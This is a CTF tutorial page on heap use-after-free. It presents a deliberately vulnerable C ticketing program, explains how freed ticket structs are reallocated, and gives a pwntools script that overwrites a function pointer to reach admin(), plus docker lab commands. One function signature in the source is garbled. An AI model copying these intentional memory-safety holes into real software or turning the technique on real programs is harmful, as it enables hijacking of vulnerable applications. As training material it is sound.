🏳️
The CTF Recipes
  • Introduction
  • Cryptography
    • Introduction
    • General knowledge
      • Encoding
        • Character encoding
          • ASCII
          • Unicode
          • UTF-8
        • Data encoding
          • Base16
          • Base32
          • Base64
      • Maths
        • Modular arithmetic
          • Greatest Common Divisor
          • Fermat's little theorem
          • Quadratic residues
          • Tonelli-Shanks
          • Chinese Remainder Theorem
          • Modular binomial
      • Padding
        • PKCS#7
    • Misc
      • XOR
    • Mono-alphabetic substitution
      • Index of coincidence
      • frequency analysis
      • Well known algorithms
        • 🔴Scytale
        • 🔴ROT
        • 🔴Polybe
        • 🔴Vigenere
        • 🔴Pigpen cipher
        • 🔴Affine cipher
    • Symmetric Cryptography
      • AES
        • Block Encryption procedure
          • Byte Substitution
          • Shift Row
          • Mix Column
          • Add Key
          • Key Expansion / Key Schedule
        • Mode of Operation
          • ECB
            • Block shuffling
              • Challenge example
            • ECB Oracle
              • Challenge example
          • CBC
            • Bit flipping
              • Challenge example
            • Padding oracle
              • Challenge example
          • OFB
            • Key stream reconstruction
            • Encrypt to Uncrypt
  • 🛠️Pwn
    • General knowledge
      • STACK
        • Variables storage
        • Stack frame
      • PLT and GOT
      • HEAP
        • HEAP operations
        • Chunk
        • Bins
        • Chunk allocation and reallocation
      • Syscall
    • Architectures
      • aarch32
        • Registers
        • Instruction set
        • Calling convention
      • aarch64
        • Registers
        • Instruction set
        • Calling convention
      • mips32
        • Registers
        • Instruction set
        • Calling convention
      • mips64
        • Registers
        • Instruction set
        • Calling convention
      • x86 / x64
        • Registers
        • Instruction set
        • Calling convention
    • Stack exploitation
      • Stack Buffer Overflow
        • Dangerous functions
          • gets
          • memcpy
          • sprintf
          • strcat
          • strcpy
        • Basics
          • Challenge example
        • Instruction pointer Overwrite
          • Challenge example
        • De Bruijn Sequences
        • Stack reading
          • Challenge example
      • Format string
        • Dangerous functions
          • printf
          • fprintf
        • Placeholder
        • Data Leak
          • Challenge example
        • Data modification
          • Challenge example
      • Arbitrary code execution
        • Shellcode
        • ret2reg
        • Code reuse attack
          • Ret2plt
          • Ret2dlresolve
          • GOT Overwrite
          • Ret2LibC
          • Leaking LibC
          • Ret2csu
          • Return Oriented Programming - ROP
          • Sigreturn Oriented Programming - SROP
          • Blind Return Oriented Programming - BROP
            • Challenge example
          • 🔴Call Oriented Programming - COP
          • 🔴Jump Oriented Programming - JOP
          • One gadget
        • Stack pivoting
    • 🛠️Heap exploitation
      • Heap overflow
        • Challenge example
      • Use after free
        • Challenge example
      • 🛠️Double free
      • 🔴Unlink exploit
    • Protections
      • Stack Canaries
      • No eXecute
      • PIE
      • ASLR
      • RELRO
    • Integer overflow
Powered by GitBook
On this page
  • Source code
  • Guest
  • display_ticket()
  • read_ticket()
  • add_ticket()
  • del_ticket()
  • struct ticket
  • ticket_create()
  • Exploitation
  • Exercice
  1. Pwn
  2. Heap exploitation
  3. Use after free

Challenge example

PreviousUse after freeNextDouble free

Last updated 2 years ago

The exploitation of a (UAF) depend on the program implementation. With this example, the attacker can exploit an UAF in order to jump to an arbitrary function : "admin"

Source code

The program had 2 files :

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#include "ticket.h"

char login(void){
    char username[16] = "";
    char password[16] = "";
    char secret[16] = "";
    char c;

    FILE *fp = fopen(".passwd", "r");
    fread(secret, 1, 15, fp);
    fclose(fp);
    secret[15] = '\0';

    printf("Username: ");
    fgets(username, sizeof(username), stdin);
    fflush(stdout);
    if (username[strlen(username)-1] == '\n'){
        username[strlen(username) -1] = '\0';
    }
    username[strlen(username)] = '\0';
    printf("Password: ");
    fflush(stdin);
    fgets(password, sizeof(password), stdin);
    if (password[strlen(password)-1] == '\n'){
        password[strlen(password) -1] = '\0';
    }

    if (strcmp(password, secret) == 0 && strcmp(username, "admin") == 0) {
        return 1;
    } else {
        return 0;
    }
}

void admin(void){
    printf("Welcome Admin !\n");
    char i, c = 1;
    while(c){
        printf("What to do you want to do ?\n");
        printf("1 - List all tickets\n");
        printf("2 - Read ticket\n");
        printf("3 - Close ticket\n");
        printf("0 - Exit\n");
        printf("Choice > ");
        scanf("%hhd", &i);
        printf("\e[1;1H\e[2J");
        switch (i) {
            case 0:
                c = 0;
                break;
            default:
                printf("Function not yet implemented !\n");
        }
    }
}

void add_ticket(int *count, ticket **ticket_list){
    int i;
    if(*count > 4){
        printf("Error, ticket list is already full... \n");
        return;
    }
    for (i=(int)sizeof(ticket_list)-1;i>0;--i){
        ticket_list[i] = ticket_list[i-1];
    }
    ticket_list[0] = ticket_create();
    printf("ticket %p\n", ticket_list[*count]);
    *count = *count + 1;
}

void del_ticket(int *count, ticket **ticket_list){
    char buf[4];
    int id;
    ticket *tmp;
    printf("Index to remove :");
    fgets(buf, sizeof(buf),stdin);
    id = atoi(buf);
    if (id < 0 || id >= *count) {
        printf("Out of bound!");
        return;
    }
    tmp = ticket_list[id];
    ticket_list[id] = ticket_list[*count-1];
    ticket_list[*count-1] = tmp;
    ticket_del(tmp);
    free(tmp);
    *count = *count-1;
}

void display_tickets(int *count, ticket **ticket_list){
    int id = 0;
    if(*count == 0){
        printf("There is no tickets to display\n");
        return;
    }
    for(id = 0; id<*count;++id){
        printf("id : %d\n", id);
        ticket_list[id]->display(ticket_list[id]);
    }
}

void (int *count, ticket **ticket_list){
    int id = 0;
    char buf[8];
    if(*count == 0){
        printf("There is no tickets to display\n");
        return;
    }
    printf("Index to read :");
    fgets(buf, sizeof(buf),stdin);
    id = atoi(buf);
    printf("id : %d\n", id);
    if(id >= 0 && id < sizeof(ticket_list)){
        ticket_list[id]->display(ticket_list[id]);
    }
}

void guest(void){
    char buf[8];
    ticket *ticket_list[5];
    int count = 0;
    printf("Welcome guest.\n");
    char i, c = 1;
    while(c){
        printf("Press enter char to continue...");
        getchar();
        printf("\e[1;1H\e[2J");
        printf("What to do you want to do ?\n");
        printf("1 - Get current tickets\n");
        printf("2 - Read ticket\n");
        printf("3 - Create ticket\n");
        printf("4 - Delete ticket\n");
        printf("5 - Submit tickets\n");
        printf("0 - Exit\n");
        printf("Choice > ");
        fgets(buf, sizeof(buf), stdin);
        i = buf[0];
        printf("\e[1;1H\e[2J");
        switch (i) {
            case '0':
                c = 0;
                break;
            case '1':
                display_tickets(&count, ticket_list);
                break;
            case '2':
                read_ticket(&count, ticket_list);
                break;
            case '3':
                add_ticket(&count, ticket_list);
                break;
            case '4':
                del_ticket(&count, ticket_list);
                break;
            default:
                printf("Function not yet implemented !\n");
        }
    }
}

int main(void) {
    printf("\e[1;1H\e[2J");
    char userType = 0;
    printf("Welcome, please login.\n");
    userType = login();
    printf("\e[1;1H\e[2J");
    if (userType == 1) {
        admin();
    } else {
        guest();
    }
}
#ifndef THECTFRECIPES_CHALLENGES_TICKET_H
#define THECTFRECIPES_CHALLENGES_TICKET_H

#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

typedef struct ticket {
    void (*display)();
    char title[24];
    char *content;
} ticket;

void display_ticket(ticket *this){
    int i = 0;
    int size = strlen(this->content);
    char line[33] = "+------------------------------+";
    char data[29] = "";
    line[32] = '\0';
    strcat(data,this->title);
    while(strlen(data) < sizeof(data)-1){
        strcat(data, " ");
    }
    data[28] = '\0';
    printf("%s\n",line);
    printf("| %s |\n",data);
    printf("%s\n",line);
    while(i < size){
        memcpy(data, &this->content[i], 28);
        while(strlen(data) < sizeof(data)-1){
            strcat(data, " ");
        }
        data[28] = '\0';
        printf("| %s |\n",data);
        i += 28;
    }
    printf("%s\n",line);
}

ticket* ticket_create(){
    char buf[8];
    int size;
    char title[24] = "";
    ticket *t = (ticket *)malloc(sizeof(ticket));

    t->display = display_ticket;
    fflush(stdin);
    fflush(stdout);
    printf("Title : ");
    fgets(title, sizeof(title),stdin);
    if (title[strlen(title)-1] == '\n'){
        title[strlen(title) -1] = '\0';
    }
    strcpy(t->title, title);
    printf("Ticker size :");
    fgets(buf, sizeof(buf),stdin);
    size = atoi(buf);
    t->content = (char *)malloc(size);
    if (!t->content) {
        printf("Allocation Error");
        exit(-1);
    }
    printf("Content :");
    fgets(t->content, size,stdin);
    if (t->content[strlen(t->content)-1] == '\n'){
        t->content[strlen(t->content) -1] = '\0';
    }
    return t;
}

void ticket_del(ticket *t){
    free(t->content);
    t->content = NULL;
}

#endif //THECTFRECIPES_CHALLENGES_TICKET_H

This application is likely a ticketing application.

Guest user can create and submit ticket.

Admin user can read all tickets from all users.

Ths function login is here to authenticate a user and redirect him to the guest function is he isn't an admin, and admin if he is.

As the password isn't know, the attacker will be sent into the guest function.

Guest

void guest(void){
    char buf[8];
    ticket *ticket_list[5];
    int count = 0;
    printf("Welcome guest.\n");
    char i, c = 1;
    while(c){
        printf("Press enter char to continue...");
        getchar();
        printf("\e[1;1H\e[2J");
        printf("What to do you want to do ?\n");
        printf("1 - Get current tickets\n");
        printf("2 - Read ticket\n");
        printf("3 - Create ticket\n");
        printf("4 - Delete ticket\n");
        printf("5 - Submit tickets\n");
        printf("0 - Exit\n");
        printf("Choice > ");
        fgets(buf, sizeof(buf), stdin);
        i = buf[0];
        printf("\e[1;1H\e[2J");
        switch (i) {
            case '0':
                c = 0;
                break;
            case '1':
                display_tickets(&count, ticket_list);
                break;
            case '2':
                read_ticket(&count, ticket_list);
                break;
            case '3':
                add_ticket(&count, ticket_list);
                break;
            case '4':
                del_ticket(&count, ticket_list);
                break;
            default:
                printf("Function not yet implemented !\n");
        }
    }
}

This function is a menu and ask fot the user what he want to do and then call a function depending on the user choice.

There is 2 interesting variables :

  • ticket_list that store the actual user's tickets pointers

  • count that store how many ticket the user have.

display_ticket()

void display_tickets(int *count, ticket **ticket_list){
    int id = 0;
    if(*count == 0){
        printf("There is no tickets to display\n");
        return;
    }
    for(id = 0; id<*count;++id){
        printf("id : %d\n", id);
        ticket_list[id]->display(ticket_list[id]);
    }
}

This function will print all ticket counted for the users.

read_ticket()

void read_ticket(int *count, ticket **ticket_list){
    int id = 0;
    char buf[8];
    if(*count == 0){
        printf("There is no tickets to display\n");
        return;
    }
    printf("Index to read :");
    fgets(buf, sizeof(buf),stdin);
    id = atoi(buf);
    printf("id : %d\n", id);
    if(id >= 0 && id < sizeof(ticket_list)){
        ticket_list[id]->display(ticket_list[id]);
    }
}

This function will print a specific ticket

Note: There is no control about how many tickets the user had.

Then it might be possible to require to print the ticket 4 unless it doesn't exist... it this case the binary will probably crash...

add_ticket()

void add_ticket(int *count, ticket **ticket_list){
    int i;
    if(*count > 4){
        printf("Error, ticket list is already full... \n");
        return;
    }
    for (i=(int)sizeof(ticket_list)-1;i>0;--i){
        ticket_list[i] = ticket_list[i-1];
    }
    ticket_list[0] = ticket_create();
    printf("ticket %p\n", ticket_list[*count]);
    *count = *count + 1;
}

This function will create a ticket using ticket_create and push in onto the ticket_list variable.

The count variable is then incremented.

del_ticket()

void del_ticket(int *count, ticket **ticket_list){
    char buf[4];
    int id;
    ticket *tmp;
    printf("Index to remove :");
    fgets(buf, sizeof(buf),stdin);
    id = atoi(buf);
    if (id < 0 || id >= *count) {
        printf("Out of bound!");
        return;
    }
    tmp = ticket_list[id];
    ticket_list[id] = ticket_list[*count-1];
    ticket_list[*count-1] = tmp;
    ticket_del(tmp);
    free(tmp);
    *count = *count-1;
}

This function will "remove" a ticket.

In fact the ticket was swap with the last element of the list and then the count variable was decremented.

The removed ticket pointer was freed at the end of the function.

Note: The pointer wasn't remove from the list. So the user access to it, using the read_ticket() function, there is a use after free

struct ticket

typedef struct ticket {
    void (*display)();
    char title[24];
    char *content;
} ticket;

A ticket contains 3 variables :

  • a function pointer : display() (8 bytes)

  • a string : title ( 24 bytes )

  • a pointer : content (8 bytes)

The total size of this struct is 40 bytes.

ticket_create()

ticket* ticket_create(){
    char buf[8];
    int size;
    char title[24] = "";
    ticket *t = (ticket *)malloc(sizeof(ticket));

    t->display = display_ticket;
    fflush(stdin);
    fflush(stdout);
    printf("Title : ");
    fgets(title, sizeof(title),stdin);
    if (title[strlen(title)-1] == '\n'){
        title[strlen(title) -1] = '\0';
    }
    strcpy(t->title, title);
    printf("Ticker size :");
    fgets(buf, sizeof(buf),stdin);
    size = atoi(buf);
    t->content = (char *)malloc(size);
    if (!t->content) {
        printf("Allocation Error");
        exit(-1);
    }
    printf("Content :");
    fgets(t->content, size,stdin);
    if (t->content[strlen(t->content)-1] == '\n'){
        t->content[strlen(t->content) -1] = '\0';
    }
    return t;
}

This function will create a ticket in memory and return the pointer ( used by the add_ticket() function )

  • First, the function will allocate a chunk to store the struct at the size of the struct ( 40 bytes )

  • The title is ask for the user and stored into the memory

  • A content size is require and used to allocate chunk to store the ticket content

  • the content is ask and stored into the memory

Exploitation

Let's resume the important parts for the exploitation :

  • Tickets can be created and stored into a chunk of size 40 bytes

  • Content can be created and stored into a chunk of an arbitrary size

  • Tickets have a function pointer used to print itself contents and title with a specific format

  • Tickets can be freed

  • Unless the ticket its freed, it can be accessible using the read_ticket()function.

The objective is to rewrite a Ticket struct memory using a memory reallocation and use it as a ticket (Use after free) to call the display function.

Because the ticket object will be overwrite, the display function can point to an arbitrary function... here it will be admin()

The process to do that is simple :

  • Create a ticket with a content of size != 40

A chunk will be allocated to store the ticket from a fastbin of size 40 and another from another bin to store the content.

  • Create a second ticket with a content of size !=40

As for the first ticket, a chunk of size 40 is allocated to store the ticket and another chuck from another bin to store the content.

  • free the first ticket

The two previously allocated chunk ( for ticket and for content ) was freed and push onto respective bins

  • free the second ticket

The two previously allocated chunk ( for ticket and for content ) was freed and push onto respective bins

  • Create a third ticket with a content of size 40 with the targeted function address as value

The chuck of the second ticket will be reallocated to this ticket and the chunk for the first ticket will be reallocated for the content !

  • Read the first ticket ( placed at the end of the ticket_list due to the swap when free )

The first ticket has now the value of the content of the third ticket due to the reallocation. The display pointer is overwritten by the admin() address

Here is a python code to do that :

from pwn import *

elf = context.binary = ELF("./chall")

p = process()

target = p64(0x401742) # `admin()` function address

def login():
    p.recvline()
    p.sendline(b'a')
    p.recv(timeout=1)
    p.sendline(b'a')
    p.recv(timeout=1)


def choice(c):
    p.sendline()
    a = p.recvuntil(b"Exit")
    p.sendline(c)

def create(title, size, content):
    choice(b'3')
    p.sendline(title)
    p.sendline(size)
    p.sendline(content)

def delete(index):
    choice(b'4')
    p.sendline(index)


login()
# Create the first ticket with a content size = 80
create(b'title', b'80', b'test') 
# Create the second ticket with a content size = 80
create(b'title', b'80', b'test')

# Delete the first ticket
delete(b'0')
# Delete the second ticket
delete(b'0')

# Create a third ticket with a size = sizeof(ticket) 
create(b'exploit', b'40', target) 

# read the second ticket
choice(b'2')
p.sendline(b'2')

p.interactive()
p.close()
$ python3 exploit.py
[*] './chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './chall': pid 220
Welcome Admin !
What to do you want to do ?
1 - List all tickets
2 - Read ticket
3 - Close ticket
0 - Exit
Choice >

Exercice

docker pull thectfrecipes/pwn:use_after_free

Deploy the image using the followed command :

docker run --name use_after_free -it --rm -d -p 3000:3000 thectfrecipes/pwn:use_after_free

Access to the web shell with your browser at the address : http://localhost:3000/

login: challenge
password: password

Note: The user can define the malloc size and then choose the type of used.

If you want to try this exploit by yourself, you can pull :

🛠️
🛠️
Use After Free
bin
this docker image